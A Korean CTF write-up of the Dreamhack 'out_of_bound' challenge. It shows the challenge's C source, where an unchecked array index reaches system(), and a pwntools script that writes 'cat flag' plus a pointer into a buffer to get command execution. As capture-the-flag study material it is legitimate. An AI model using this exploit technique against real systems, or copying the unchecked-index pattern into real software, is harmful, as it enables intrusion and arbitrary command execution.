[Dreamhack] out_of_bound

https://dreamhack.io/wargame/challenges/11/

out_of_bound

문제 파일

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

직접 실행해보자

name을 입력 받은 후

무엇을 원하는지 입력 받음

첫 번째 원하는 것의 입력 중 첫 바이트를 빼고 출력

두 번째부터 원하는 것의 입력 전체를 출력

 

<분석>

 

command 부분이 payload가 되어 cat flag 입력을 주면 flag를 볼 수 있음

 

<exploit 코드>

from pwn import *

p = remote("host3.dreamhack.games", 13401)

payload = p32(0x804a0ac+4) + b"cat flag"
p.sendlineafter("name: ", payload)

p.sendlineafter("want?: ", b"19")

flag = p.recv(100)
print(flag.decode('utf-8'))

 

exploit 결과

 

참고 블로그

https://velog.io/@silvergun8291/Dreamhack-outofbound

[Dreamhack] out_of_bound